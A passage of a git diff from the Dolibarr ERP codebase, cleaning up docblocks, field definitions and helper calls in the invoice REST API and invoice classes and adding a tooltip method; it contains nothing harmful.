$this->db->order($sortfield, $sortorder); @@ -325,12 +324,11 @@ class Invoices extends DolibarrApi /** * Create an invoice using an existing order. * - * * @param int $orderid Id of the order + * @return Object Object with cleaned properties * * @url POST /createfromorder/{orderid} * - * @return int * @throws RestException 400 * @throws RestException 401 * @throws RestException 404 @@ -338,7 +336,6 @@ class Invoices extends DolibarrApi */ public function createInvoiceFromOrder($orderid) { - require_once DOL_DOCUMENT_ROOT.'/commande/class/commande.class.php'; if (!DolibarrApiAccess::$user->rights->commande->lire) { @@ -368,11 +365,10 @@ class Invoices extends DolibarrApi /** * Get lines of an invoice * - * @param int $id Id of invoice + * @param int $id Id of invoice + * @return array Array of lines * * @url GET {id}/lines - * - * @return int */ public function getLines($id) { @@ -399,14 +395,13 @@ class Invoices extends DolibarrApi /** * Update a line to a given invoice * - * @param int $id Id of invoice to update - * @param int $lineid Id of line to update - * @param array $request_data InvoiceLine data + * @param int $id Id of invoice to update + * @param int $lineid Id of line to update + * @param array $request_data InvoiceLine data + * @return Object Object with cleaned properties * * @url PUT {id}/lines/{lineid} * - * @return array - * * @throws RestException 304 * @throws RestException 401 * @throws RestException 404 Invoice not found @@ -472,14 +467,13 @@ class Invoices extends DolibarrApi /** * Add a contact type of given invoice * - * @param int $id Id of invoice to update - * @param int $contactid Id of contact to add - * @param string $type Type of the contact (BILLING, SHIPPING, CUSTOMER) + * @param int $id Id of invoice to update + * @param int $contactid Id of contact to add + * @param string $type Type of the contact (BILLING, SHIPPING, CUSTOMER) + * @return array * * @url POST {id}/contact/{contactid}/{type} * - * @return int - * * @throws RestException 401 * @throws RestException 404 */ @@ -509,20 +503,24 @@ class Invoices extends DolibarrApi throw new RestException(500, 'Error when added the contact'); } - return $this->_cleanObjectDatas($this->invoice); + return array( + 'success' => array( + 'code' => 200, + 'message' => 'Contact linked to the invoice' + ) + ); } /** * Delete a contact type of given invoice * - * @param int $id Id of invoice to update - * @param int $contactid Row key of the contact in the array contact_ids. - * @param string $type Type of the contact (BILLING, SHIPPING, CUSTOMER). + * @param int $id Id of invoice to update + * @param int $contactid Row key of the contact in the array contact_ids. + * @param string $type Type of the contact (BILLING, SHIPPING, CUSTOMER). + * @return Object Object with cleaned properties * * @url DELETE {id}/contact/{contactid}/{type} * - * @return array - * * @throws RestException 401 * @throws RestException 404 * @throws RestException 500 System error @@ -561,13 +559,12 @@ class Invoices extends DolibarrApi /** * Deletes a line of a given invoice * - * @param int $id Id of invoice - * @param int $lineid Id of the line to delete + * @param int $id Id of invoice + * @param int $lineid Id of the line to delete + * @return Object Object with cleaned properties * * @url DELETE {id}/lines/{lineid} * - * @return array - * * @throws RestException 400 * @throws RestException 401 * @throws RestException 404 @@ -575,7 +572,6 @@ class Invoices extends DolibarrApi */ public function deleteLine($id, $lineid) { - if (!DolibarrApiAccess::$user->rights->facture->creer) { throw new RestException(401); } @@ -592,9 +588,7 @@ class Invoices extends DolibarrApi throw new RestException(404, 'Invoice not found'); } - // TODO Check the lineid $lineid is a line of ojbect - - $updateRes = $this->invoice->deleteline($lineid); + $updateRes = $this->invoice->deleteline($lineid, $id); if ($updateRes > 0) { return $this->get($id); } else { @@ -605,9 +599,9 @@ class Invoices extends DolibarrApi /** * Update invoice * - * @param int $id Id of invoice to update - * @param array $request_data Datas - * @return int + * @param int $id Id of invoice to update + * @param array $request_data Datas + * @return Object|false Object with cleaned properties */ public function put($id, $request_data = null) { @@ -648,8 +642,8 @@ class Invoices extends DolibarrApi /** * Delete invoice * - * @param int $id Invoice ID - * @return array + * @param int $id Invoice ID + * @return array */ public function delete($id) { @@ -783,7 +777,7 @@ class Invoices extends DolibarrApi * * @url POST {id}/contacts * - * @return array + * @return object * * @throws RestException 304 * @throws RestException 401 @@ -829,11 +823,10 @@ class Invoices extends DolibarrApi * * @param int $id Order ID * @param int $idwarehouse Warehouse ID + * @return Object Object with cleaned properties * * @url POST {id}/settodraft * - * @return array - * * @throws RestException 304 * @throws RestException 401 * @throws RestException 404 @@ -887,10 +880,9 @@ class Invoices extends DolibarrApi * @param int $id Invoice ID * @param int $idwarehouse Warehouse ID * @param int $notrigger 1=Does not execute triggers, 0= execute triggers + * @return Object|false Object with cleaned properties * * @url POST {id}/validate - * - * @return array */ public function validate($id, $idwarehouse = 0, $notrigger = 0) { @@ -932,11 +924,10 @@ class Invoices extends DolibarrApi * @param int $id Order ID * @param string $close_code Code filled if we classify to 'Paid completely' when payment is not complete (for escompte for example) * @param string $close_note Comment defined if we classify to 'Paid' when payment is not complete (for escompte for example) + * @return Object Object with cleaned properties * * @url POST {id}/settopaid * - * @return array An invoice object - * * @throws RestException 304 * @throws RestException 401 * @throws RestException 404 @@ -981,12 +972,11 @@ class Invoices extends DolibarrApi /** * Sets an invoice as unpaid * - * @param int $id Order ID + * @param int $id Order ID + * @return Object Object with cleaned properties * * @url POST {id}/settounpaid * - * @return array An invoice object - * * @throws RestException 304 * @throws RestException 401 * @throws RestException 404 @@ -1031,10 +1021,9 @@ class Invoices extends DolibarrApi * Get discount from invoice * * @param int $id Id of invoice + * @return Object Object with cleaned properties * * @url GET {id}/discount - * - * @return mixed */ public function getDiscount($id) { @@ -1069,10 +1058,10 @@ class Invoices extends DolibarrApi /** * Create a discount (credit available) for a credit note or a deposit. * - * @param int $id Invoice ID - * @url POST {id}/markAsCreditAvailable + * @param int $id Invoice ID + * @return Object Object with cleaned properties * - * @return array An invoice object + * @url POST {id}/markAsCreditAvailable * * @throws RestException 304 * @throws RestException 401 @@ -1241,11 +1230,10 @@ class Invoices extends DolibarrApi * * @param int $id Id of invoice * @param int $discountid Id of discount + * @return int * * @url POST {id}/usediscount/{discountid} * - * @return int - * * @throws RestException 400 * @throws RestException 401 * @throws RestException 404 @@ -1253,7 +1241,6 @@ class Invoices extends DolibarrApi */ public function useDiscount($id, $discountid) { - if (!DolibarrApiAccess::$user->rights->facture->creer) { throw new RestException(401); } @@ -1288,11 +1275,10 @@ class Invoices extends DolibarrApi * * @param int $id Id of invoice * @param int $discountid Id of a discount coming from a credit note + * @return int * * @url POST {id}/usecreditnote/{discountid} * - * @return int - * * @throws RestException 400 * @throws RestException 401 * @throws RestException 404 @@ -1300,7 +1286,6 @@ class Invoices extends DolibarrApi */ public function useCreditNote($id, $discountid) { - require_once DOL_DOCUMENT_ROOT.'/core/class/discount.class.php'; if (!DolibarrApiAccess::$user->rights->facture->creer) { @@ -1333,12 +1318,11 @@ class Invoices extends DolibarrApi /** * Get list of payments of a given invoice * - * @param int $id Id of invoice + * @param int $id Id of invoice + * @return array * * @url GET {id}/payments * - * @return array - * * @throws RestException 400 * @throws RestException 401 * @throws RestException 404 @@ -1395,8 +1379,6 @@ class Invoices extends DolibarrApi */ public function addPayment($id, $datepaye, $paymentid, $closepaidinvoices, $accountid, $num_payment = '', $comment = '', $chqemetteur = '', $chqbank = '') { - global $conf; - require_once DOL_DOCUMENT_ROOT.'/compta/paiement/class/paiement.class.php'; if (!DolibarrApiAccess::$user->rights->facture->creer) { @@ -1509,6 +1491,7 @@ class Invoices extends DolibarrApi * @url POST /paymentsdistributed * * @return int Payment ID + * * @throws RestException 400 * @throws RestException 401 * @throws RestException 403 @@ -1516,8 +1499,6 @@ class Invoices extends DolibarrApi */ public function addPaymentDistributed($arrayofamounts, $datepaye, $paymentid, $closepaidinvoices, $accountid, $num_payment = '', $comment = '', $chqemetteur = '', $chqbank = '', $ref_ext = '', $accepthigherpayment = false) { - global $conf; - require_once DOL_DOCUMENT_ROOT.'/compta/paiement/class/paiement.class.php'; if (!DolibarrApiAccess::$user->rights->facture->creer) { @@ -1645,6 +1626,7 @@ class Invoices extends DolibarrApi * @url PUT payments/{id} * * @return array + * * @throws RestException 400 Bad parameters * @throws RestException 401 Not allowed * @throws RestException 404 Not found @@ -1708,8 +1690,8 @@ class Invoices extends DolibarrApi /** * Validate fields before create or update object * - * @param array|null $data Datas to validate - * @return array + * @param array|null $data Datas to validate + * @return array * * @throws RestException */ @@ -1733,7 +1715,7 @@ class Invoices extends DolibarrApi * * @param int $id ID of template invoice * @param int $contact_list 0:Return array contains all properties, 1:Return array contains just id, -1: Do not return contacts/adddesses - * @return array|mixed data without useless information + * @return Object Object with cleaned properties * * @url GET templates/{id} * @@ -1749,11 +1731,11 @@ class Invoices extends DolibarrApi * * Return an array with invoice informations * - * @param int $id ID of order - * @param string $ref Ref of object - * @param string $ref_ext External reference of object - * @param int $contact_list 0: Returned array of contacts/addresses contains all properties, 1: Return array contains just id, -1: Do not return contacts/adddesses - * @return array|mixed data without useless information + * @param int $id ID of order + * @param string $ref Ref of object + * @param string $ref_ext External reference of object + * @param int $contact_list 0: Returned array of contacts/addresses contains all properties, 1: Return array contains just id, -1: Do not return contacts/adddesses + * @return Object Object with cleaned properties * * @throws RestException */ diff --git a/htdocs/compta/facture/class/facture-rec.class.php b/htdocs/compta/facture/class/facture-rec.class.php index 532140481ab..3646c3b2c30 100644 --- a/htdocs/compta/facture/class/facture-rec.class.php +++ b/htdocs/compta/facture/class/facture-rec.class.php @@ -169,7 +169,7 @@ class FactureRec extends CommonInvoice 'rowid' =>array('type'=>'integer', 'label'=>'TechnicalID', 'enabled'=>1, 'visible'=>-1, 'notnull'=>1, 'position'=>10), 'titre' =>array('type'=>'varchar(100)', 'label'=>'Titre', 'enabled'=>1, 'showoncombobox' => 1, 'visible'=>-1, 'position'=>15), 'entity' =>array('type'=>'integer', 'label'=>'Entity', 'default'=>1, 'enabled'=>1, 'visible'=>-2, 'notnull'=>1, 'position'=>20, 'index'=>1), - 'fk_soc' =>array('type'=>'integer:Societe:societe/class/societe.class.php', 'label'=>'ThirdParty', 'enabled'=>'$conf->societe->enabled', 'visible'=>-1, 'notnull'=>1, 'position'=>25), + 'fk_soc' =>array('type'=>'integer:Societe:societe/class/societe.class.php', 'label'=>'ThirdParty', 'enabled'=>'isModEnabled("societe")', 'visible'=>-1, 'notnull'=>1, 'position'=>25), 'datec' =>array('type'=>'datetime', 'label'=>'DateCreation', 'enabled'=>1, 'visible'=>-1, 'position'=>30), //'amount' =>array('type'=>'double(24,8)', 'label'=>'Amount', 'enabled'=>1, 'visible'=>-1, 'notnull'=>1, 'position'=>35), 'remise' =>array('type'=>'double', 'label'=>'Remise', 'enabled'=>1, 'visible'=>-1, 'position'=>40), @@ -181,20 +181,19 @@ class FactureRec extends CommonInvoice 'total_ht' =>array('type'=>'double(24,8)', 'label'=>'Total', 'enabled'=>1, 'visible'=>-1, 'position'=>70, 'isameasure'=>1), 'total_ttc' =>array('type'=>'double(24,8)', 'label'=>'Total ttc', 'enabled'=>1, 'visible'=>-1, 'position'=>75, 'isameasure'=>1), 'fk_user_author' =>array('type'=>'integer:User:user/class/user.class.php', 'label'=>'Fk user author', 'enabled'=>1, 'visible'=>-1, 'position'=>80), - 'fk_projet' =>array('type'=>'integer:Project:projet/class/project.class.php:1:fk_statut=1', 'label'=>'Fk projet', 'enabled'=>"isModEnabled('project')", 'visible'=>-1, 'position'=>85), + 'fk_projet' =>array('type'=>'integer:Project:projet/class/project.class.php:1:(fk_statut:=:1)', 'label'=>'Fk projet', 'enabled'=>"isModEnabled('project')", 'visible'=>-1, 'position'=>85), 'fk_cond_reglement' =>array('type'=>'integer', 'label'=>'Fk cond reglement', 'enabled'=>1, 'visible'=>-1, 'position'=>90), 'fk_mode_reglement' =>array('type'=>'integer', 'label'=>'Fk mode reglement', 'enabled'=>1, 'visible'=>-1, 'position'=>95), 'date_lim_reglement' =>array('type'=>'date', 'label'=>'Date lim reglement', 'enabled'=>1, 'visible'=>-1, 'position'=>100), - 'note_private' =>array('type'=>'text', 'label'=>'NotePrivate', 'enabled'=>1, 'visible'=>0, 'position'=>105), - 'note_public' =>array('type'=>'text', 'label'=>'NotePublic', 'enabled'=>1, 'visible'=>0, 'position'=>110), + 'note_private' =>array('type'=>'html', 'label'=>'NotePrivate', 'enabled'=>1, 'visible'=>0, 'position'=>105), + 'note_public' =>array('type'=>'html', 'label'=>'NotePublic', 'enabled'=>1, 'visible'=>0, 'position'=>110), 'modelpdf' =>array('type'=>'varchar(255)', 'label'=>'Modelpdf', 'enabled'=>1, 'visible'=>-1, 'position'=>115), - 'date_last_gen' =>array('type'=>'varchar(7)', 'label'=>'Last gen', 'enabled'=>1, 'visible'=>-1, 'position'=>120), - 'unit_frequency' =>array('type'=>'varchar(2)', 'label'=>'Unit frequency', 'enabled'=>1, 'visible'=>-1, 'position'=>125), 'date_when' =>array('type'=>'datetime', 'label'=>'Date when', 'enabled'=>1, 'visible'=>-1, 'position'=>130), 'date_last_gen' =>array('type'=>'datetime', 'label'=>'Date last gen', 'enabled'=>1, 'visible'=>-1, 'position'=>135), 'nb_gen_done' =>array('type'=>'integer', 'label'=>'Nb gen done', 'enabled'=>1, 'visible'=>-1, 'position'=>140), 'nb_gen_max' =>array('type'=>'integer', 'label'=>'Nb gen max', 'enabled'=>1, 'visible'=>-1, 'position'=>145), 'frequency' =>array('type'=>'integer', 'label'=>'Frequency', 'enabled'=>1, 'visible'=>-1, 'position'=>150), + 'unit_frequency' =>array('type'=>'varchar(2)', 'label'=>'UnitFrequency', 'enabled'=>1, 'visible'=>-1, 'position'=>152), 'usenewprice' =>array('type'=>'integer', 'label'=>'UseNewPrice', 'enabled'=>1, 'visible'=>0, 'position'=>155), 'revenuestamp' =>array('type'=>'double(24,8)', 'label'=>'RevenueStamp', 'enabled'=>1, 'visible'=>-1, 'position'=>160, 'isameasure'=>1), 'auto_validate' =>array('type'=>'integer', 'label'=>'Auto validate', 'enabled'=>1, 'visible'=>-1, 'position'=>165), @@ -1024,7 +1023,7 @@ class FactureRec extends CommonInvoice if ($this->db->query($sql)) { $lineId = $this->db->last_insert_id(MAIN_DB_PREFIX."facturedet_rec"); $this->id = $facid; - $this->update_price(); + $this->update_price(1); return $lineId; } else { $this->error = $this->db->lasterror(); @@ -1198,7 +1197,7 @@ class FactureRec extends CommonInvoice dol_syslog(get_class($this)."::updateline", LOG_DEBUG); if ($this->db->query($sql)) { $this->id = $facid; - $this->update_price(); + $this->update_price(1); return 1; } else { $this->error = $this->db->lasterror(); @@ -1771,35 +1770,35 @@ class FactureRec extends CommonInvoice /** * Function used to replace a thirdparty id with another one. * - * @param DoliDB $db Database handler - * @param int $origin_id Old thirdparty id - * @param int $dest_id New thirdparty id - * @return bool + * @param DoliDB $dbs Database handler, because function is static we name it $dbs not $db to avoid breaking coding test + * @param int $origin_id Old thirdparty id + * @param int $dest_id New thirdparty id + * @return bool */ - public static function replaceThirdparty(DoliDB $db, $origin_id, $dest_id) + public static function replaceThirdparty(DoliDB $dbs, $origin_id, $dest_id) { $tables = array( 'facture_rec' ); - return CommonObject::commonReplaceThirdparty($db, $origin_id, $dest_id, $tables); + return CommonObject::commonReplaceThirdparty($dbs, $origin_id, $dest_id, $tables); } /** * Function used to replace a product id with another one. * - * @param DoliDB $db Database handler - * @param int $origin_id Old product id - * @param int $dest_id New product id - * @return bool + * @param DoliDB $dbs Database handler, because function is static we name it $dbs not $db to avoid breaking coding test + * @param int $origin_id Old product id + * @param int $dest_id New product id + * @return bool */ - public static function replaceProduct(DoliDB $db, $origin_id, $dest_id) + public static function replaceProduct(DoliDB $dbs, $origin_id, $dest_id) { $tables = array( 'facturedet_rec' ); - return CommonObject::commonReplaceProduct($db, $origin_id, $dest_id, $tables); + return CommonObject::commonReplaceProduct($dbs, $origin_id, $dest_id, $tables); } /** diff --git a/htdocs/compta/facture/class/facture.class.php b/htdocs/compta/facture/class/facture.class.php index 4a4a02e87c4..5d69bb2b6dd 100644 --- a/htdocs/compta/facture/class/facture.class.php +++ b/htdocs/compta/facture/class/facture.class.php @@ -18,7 +18,7 @@ * Copyright (C) 2018-2022 Alexandre Spangaro * Copyright (C) 2018 Nicolas ZABOURI * Copyright (C) 2022 Sylvain Legrand - * Copyright (C) 2022 Gauthier VERDOL + * Copyright (C) 2023 Gauthier VERDOL * * This program is free software; you can redistribute it and/or modify * it under the terms of the GNU General Public License as published by @@ -40,7 +40,7 @@ * \brief File of class to manage invoices */ -include_once DOL_DOCUMENT_ROOT.'/core/class/commoninvoice.class.php'; +require_once DOL_DOCUMENT_ROOT.'/core/class/commoninvoice.class.php'; require_once DOL_DOCUMENT_ROOT.'/core/class/commonobjectline.class.php'; require_once DOL_DOCUMENT_ROOT.'/product/class/product.class.php'; require_once DOL_DOCUMENT_ROOT.'/societe/class/client.class.php'; @@ -163,7 +163,12 @@ class Facture extends CommonInvoice // Warning: Do not set default value into property defintion. it must stay null. // For example to avoid to have substition done when object is generic and not yet defined. public $remise_absolue; + + /** + * @deprecated + */ public $remise_percent; + public $total_ht; public $total_tva; public $total_localtax1; @@ -171,6 +176,8 @@ class Facture extends CommonInvoice public $total_ttc; public $revenuestamp; + public $resteapayer; + /** * ! Closing after partial payment: discount_vat, badcustomer or badsupplier, bankcharge, other * ! Closing when no payment: replaced, abandoned @@ -318,7 +325,7 @@ class Facture extends CommonInvoice 'date_closing' =>array('type'=>'datetime', 'label'=>'Date closing', 'enabled'=>1, 'visible'=>-1, 'position'=>30), 'paye' =>array('type'=>'smallint(6)', 'label'=>'InvoicePaidCompletely', 'enabled'=>1, 'visible'=>-1, 'notnull'=>1, 'position'=>80), //'amount' =>array('type'=>'double(24,8)', 'label'=>'Amount', 'enabled'=>1, 'visible'=>-1, 'notnull'=>1, 'position'=>85), - 'remise_percent' =>array('type'=>'double', 'label'=>'RelativeDiscount', 'enabled'=>1, 'visible'=>-1, 'position'=>90), + //'remise_percent' =>array('type'=>'double', 'label'=>'RelativeDiscount', 'enabled'=>1, 'visible'=>-1, 'position'=>90), 'remise_absolue' =>array('type'=>'double', 'label'=>'CustomerRelativeDiscount', 'enabled'=>1, 'visible'=>-1, 'position'=>91), //'remise' =>array('type'=>'double', 'label'=>'Remise', 'enabled'=>1, 'visible'=>-1, 'position'=>100), 'close_code' =>array('type'=>'varchar(16)', 'label'=>'EarlyClosingReason', 'enabled'=>1, 'visible'=>-1, 'position'=>92), @@ -329,18 +336,14 @@ class Facture extends CommonInvoice 'localtax2' =>array('type'=>'double(24,8)', 'label'=>'LT2', 'enabled'=>1, 'visible'=>-1, 'position'=>120, 'isameasure'=>1), 'revenuestamp' =>array('type'=>'double(24,8)', 'label'=>'RevenueStamp', 'enabled'=>1, 'visible'=>-1, 'position'=>115, 'isameasure'=>1), 'total_ttc' =>array('type'=>'double(24,8)', 'label'=>'AmountTTC', 'enabled'=>1, 'visible'=>1, 'position'=>130, 'isameasure'=>1), - 'fk_user_author' =>array('type'=>'integer:User:user/class/user.class.php', 'label'=>'UserAuthor', 'enabled'=>1, 'visible'=>-1, 'position'=>165), - 'fk_user_modif' =>array('type'=>'integer:User:user/class/user.class.php', 'label'=>'UserModif', 'enabled'=>1, 'visible'=>-2, 'notnull'=>-1, 'position'=>166), - 'fk_user_valid' =>array('type'=>'integer:User:user/class/user.class.php', 'label'=>'UserValidation', 'enabled'=>1, 'visible'=>-1, 'position'=>167), - 'fk_user_closing' =>array('type'=>'integer:User:user/class/user.class.php', 'label'=>'UserClosing', 'enabled'=>1, 'visible'=>-1, 'position'=>168), 'fk_facture_source' =>array('type'=>'integer', 'label'=>'SourceInvoice', 'enabled'=>1, 'visible'=>-1, 'position'=>170), - 'fk_projet' =>array('type'=>'integer:Project:projet/class/project.class.php:1:fk_statut=1', 'label'=>'Project', 'enabled'=>1, 'visible'=>-1, 'position'=>175), + 'fk_projet' =>array('type'=>'integer:Project:projet/class/project.class.php:1:(fk_statut:=:1)', 'label'=>'Project', 'enabled'=>1, 'visible'=>-1, 'position'=>175), 'fk_account' =>array('type'=>'integer', 'label'=>'Fk account', 'enabled'=>1, 'visible'=>-1, 'position'=>180), 'fk_currency' =>array('type'=>'varchar(3)', 'label'=>'CurrencyCode', 'enabled'=>1, 'visible'=>-1, 'position'=>185), 'fk_cond_reglement' =>array('type'=>'integer', 'label'=>'PaymentTerm', 'enabled'=>1, 'visible'=>-1, 'notnull'=>1, 'position'=>190), 'fk_mode_reglement' =>array('type'=>'integer', 'label'=>'PaymentMode', 'enabled'=>1, 'visible'=>-1, 'position'=>195), - 'note_private' =>array('type'=>'text', 'label'=>'NotePrivate', 'enabled'=>1, 'visible'=>0, 'position'=>205), - 'note_public' =>array('type'=>'text', 'label'=>'NotePublic', 'enabled'=>1, 'visible'=>0, 'position'=>210), + 'note_private' =>array('type'=>'html', 'label'=>'NotePrivate', 'enabled'=>1, 'visible'=>0, 'position'=>205), + 'note_public' =>array('type'=>'html', 'label'=>'NotePublic', 'enabled'=>1, 'visible'=>0, 'position'=>210), 'model_pdf' =>array('type'=>'varchar(255)', 'label'=>'Model pdf', 'enabled'=>1, 'visible'=>0, 'position'=>215), 'extraparams' =>array('type'=>'varchar(255)', 'label'=>'Extraparams', 'enabled'=>1, 'visible'=>-1, 'position'=>225), 'situation_cycle_ref' =>array('type'=>'smallint(6)', 'label'=>'Situation cycle ref', 'enabled'=>'$conf->global->INVOICE_USE_SITUATION', 'visible'=>-1, 'position'=>230), @@ -363,7 +366,11 @@ class Facture extends CommonInvoice 'module_source' =>array('type'=>'varchar(32)', 'label'=>'POSModule', 'enabled'=>1, 'visible'=>-1, 'position'=>315), 'pos_source' =>array('type'=>'varchar(32)', 'label'=>'POSTerminal', 'enabled'=>1, 'visible'=>-1, 'position'=>320), 'datec' =>array('type'=>'datetime', 'label'=>'DateCreation', 'enabled'=>1, 'visible'=>-1, 'position'=>500), - 'tms' =>array('type'=>'timestamp', 'label'=>'DateModificationShort', 'enabled'=>1, 'visible'=>-1, 'notnull'=>1, 'position'=>500), + 'tms' =>array('type'=>'timestamp', 'label'=>'DateModificationShort', 'enabled'=>1, 'visible'=>-1, 'notnull'=>1, 'position'=>502), + 'fk_user_author' =>array('type'=>'integer:User:user/class/user.class.php', 'label'=>'UserAuthor', 'enabled'=>1, 'visible'=>-1, 'position'=>506), + 'fk_user_modif' =>array('type'=>'integer:User:user/class/user.class.php', 'label'=>'UserModif', 'enabled'=>1, 'visible'=>-1, 'notnull'=>-1, 'position'=>508), + 'fk_user_valid' =>array('type'=>'integer:User:user/class/user.class.php', 'label'=>'UserValidation', 'enabled'=>1, 'visible'=>-1, 'position'=>510), + 'fk_user_closing' =>array('type'=>'integer:User:user/class/user.class.php', 'label'=>'UserClosing', 'enabled'=>1, 'visible'=>-1, 'position'=>512), 'import_key' =>array('type'=>'varchar(14)', 'label'=>'ImportId', 'enabled'=>1, 'visible'=>-2, 'position'=>900), 'fk_statut' =>array('type'=>'smallint(6)', 'label'=>'Status', 'enabled'=>1, 'visible'=>1, 'notnull'=>1, 'position'=>1000, 'arrayofkeyval'=>array(0=>'Draft', 1=>'Validated', 2=>'Paid', 3=>'Abandonned')), ); @@ -558,7 +565,7 @@ class Facture extends CommonInvoice // Fields always coming from template $this->remise_absolue = $_facrec->remise_absolue; - $this->remise_percent = $_facrec->remise_percent; + $this->remise_percent = $_facrec->remise_percent; // TODO deprecated $this->fk_incoterms = $_facrec->fk_incoterms; $this->location_incoterms = $_facrec->location_incoterms; @@ -567,6 +574,7 @@ class Facture extends CommonInvoice $this->type = self::TYPE_STANDARD; } $this->ref_client = trim($this->ref_client); + $this->ref_customer = trim($this->ref_customer); $this->note_public = trim($this->note_public); $this->note_private = trim($this->note_private); $this->note_private = dol_concatdesc($this->note_private, $langs->trans("GeneratedFromRecurringInvoice", $_facrec->ref)); @@ -584,8 +592,6 @@ class Facture extends CommonInvoice // We do not add link to template invoice or next invoice will be linked to all generated invoices //$this->linked_objects['facturerec'][0] = $this->fac_rec; - $forceduedate = $this->calculate_date_lim_reglement(); - // For recurring invoices, update date and number of last generation of recurring template invoice, before inserting new invoice if ($_facrec->frequency > 0) { dol_syslog("This is a recurring invoice so we set date_last_gen and next date_when"); @@ -662,7 +668,7 @@ class Facture extends CommonInvoice $sql .= ", fk_soc"; $sql .= ", datec"; $sql .= ", remise_absolue"; - $sql .= ", remise_percent"; + $sql .= ", remise_percent"; // TODO deprecated $sql .= ", datef"; $sql .= ", date_pointoftax"; $sql .= ", note_private"; @@ -688,7 +694,7 @@ class Facture extends CommonInvoice $sql .= ", ".((int) $socid); $sql .= ", '".$this->db->idate($now)."'"; $sql .= ", ".($this->remise_absolue > 0 ? $this->remise_absolue : 'NULL'); - $sql .= ", ".($this->remise_percent > 0 ? $this->remise_percent : 'NULL'); + $sql .= ", ".($this->remise_percent > 0 ? $this->remise_percent : 'NULL'); // TODO deprecated $sql .= ", '".$this->db->idate($this->date)."'"; $sql .= ", ".(empty($this->date_pointoftax) ? "null" : "'".$this->db->idate($this->date_pointoftax)."'"); $sql .= ", ".($this->note_private ? "'".$this->db->escape($this->note_private)."'" : "null"); @@ -1152,7 +1158,7 @@ class Facture extends CommonInvoice $facture->cond_reglement_id = $this->cond_reglement_id; $facture->mode_reglement_id = $this->mode_reglement_id; $facture->remise_absolue = $this->remise_absolue; - $facture->remise_percent = $this->remise_percent; + $facture->remise_percent = $this->remise_percent; // TODO deprecated $facture->origin = $this->origin; $facture->origin_id = $this->origin_id; @@ -1259,7 +1265,7 @@ class Facture extends CommonInvoice $object->ref_client = ''; $object->close_code = ''; $object->close_note = ''; - if ($conf->global->MAIN_DONT_KEEP_NOTE_ON_CLONING == 1) { + if (getDolGlobalInt('MAIN_DONT_KEEP_NOTE_ON_CLONING') == 1) { $object->note_private = ''; $object->note_public = ''; } @@ -1328,6 +1334,7 @@ class Facture extends CommonInvoice $action = ''; $reshook = $hookmanager->executeHooks('createFrom', $parameters, $object, $action); // Note that $action and $object may have been modified by some hooks if ($reshook < 0) { + $this->setErrorsFromObject($hookmanager); $error++; } } @@ -1461,6 +1468,7 @@ class Facture extends CommonInvoice $action = ''; $reshook = $hookmanager->executeHooks('createFrom', $parameters, $this, $action); // Note that $action and $object may have been modified by some hooks if ($reshook < 0) { + $this->setErrorsFromObject($hookmanager); $error++; } @@ -1724,12 +1732,6 @@ class Facture extends CommonInvoice } } - - if (! is_object($hookmanager)) { - require_once DOL_DOCUMENT_ROOT . '/core/class/hookmanager.class.php'; - $hookmanager = new HookManager($origin->db); - } - $hookmanager->initHooks(array('invoicedao')); $parameters = array('objFrom' => $origin); @@ -1760,6 +1762,71 @@ class Facture extends CommonInvoice return $deposit; } + /** + * getTooltipContentArray + * + * @param array $params ex option, infologin + * @since v18 + * @return array + */ + public function getTooltipContentArray($params) + { + global $conf, $langs, $mysoc, $user; + + $langs->load('bills'); + + $datas = []; + $moretitle = $params['moretitle'] ?? ''; + $picto = $this->picto; + if ($this->type == self::TYPE_REPLACEMENT) { + $picto .= 'r'; // Replacement invoice + } + if ($this->type == self::TYPE_CREDIT_NOTE) { + $picto .= 'a'; // Credit note + } + if ($this->type == self::TYPE_DEPOSIT) { + $picto .= 'd'; // Deposit invoice + } + + if ($user->hasRight("facture", "read")) { + $datas['picto'] = img_picto('', $picto).' '.$langs->trans("Invoice").''; + if (isset($this->statut) && isset($this->alreadypaid)) { + $datas['picto'] .= ' '.$this->getLibStatut(5, $this->alreadypaid); + } + $datas['picto'] .= ' '.$this->getLibType(1); + if ($moretitle) { + $datas['picto'] = ' - '.$moretitle; + } + if (!empty($this->ref)) { + $datas['ref'] = '
      '.$langs->trans('Ref').': '.$this->ref; + } + if (!empty($this->ref_customer)) { + $datas['refcustomer'] = '
      '.$langs->trans('RefCustomer').': '.$this->ref_customer; + } + if (!empty($this->date)) { + $datas['date'] = '
      '.$langs->trans('Date').': '.dol_print_date($this->date, 'day'); + } + if (!empty($this->total_ht)) { + $datas['amountht'] = '
      '.$langs->trans('AmountHT').': '.price($this->total_ht, 0, $langs, 0, -1, -1, $conf->currency); + } + if (!empty($this->total_tva)) { + $datas['amountvat'] = '
      '.$langs->trans('AmountVAT').': '.price($this->total_tva, 0, $langs, 0, -1, -1, $conf->currency); + } + if (!empty($this->total_localtax1) && $this->total_localtax1 != 0) { + // We keep test != 0 because $this->total_localtax1 can be '0.00000000' + $datas['amountlt1'] = '
      '.$langs->transcountry('AmountLT1', $mysoc->country_code).': '.price($this->total_localtax1, 0, $langs, 0, -1, -1, $conf->currency); + } + if (!empty($this->total_localtax2) && $this->total_localtax2 != 0) { + $datas['amountlt2'] = '
      '.$langs->transcountry('AmountLT2', $mysoc->country_code).': '.price($this->total_localtax2, 0, $langs, 0, -1, -1, $conf->currency); + } + if (!empty($this->total_ttc)) { + $datas['amountttc'] = '
      '.$langs->trans('AmountTTC').': '.price($this->total_ttc, 0, $langs, 0, -1, -1, $conf->currency); + } + } + + return $datas; + } + /** * Return clicable link of object (with eventually picto) * @@ -1819,41 +1886,20 @@ class Facture extends CommonInvoice if ($this->type == self::TYPE_DEPOSIT) { $picto .= 'd'; // Deposit invoice } - $label = ''; - - if ($user->hasRight("facture", "read")) { - $label = img_picto('', $picto).' '.$langs->trans("Invoice").''; - if (isset($this->statut) && isset($this->alreadypaid)) { - $label .= ' '.$this->getLibStatut(5, $this->alreadypaid); - } - $label .= '   '.$this->getLibType(1); - if (!empty($this->ref)) { - $label .= '
      '.$langs->trans('Ref').': '.$this->ref; - } - if (!empty($this->ref_client)) { - $label .= '
      '.$langs->trans('RefCustomer').': '.$this->ref_client; - } - if (!empty($this->date)) { - $label .= '
      '.$langs->trans('Date').': '.dol_print_date($this->date, 'day'); - } - if (!empty($this->total_ht)) { - $label .= '
      '.$langs->trans('AmountHT').': '.price($this->total_ht, 0, $langs, 0, -1, -1, $conf->currency); - } - if (!empty($this->total_tva)) { - $label .= '
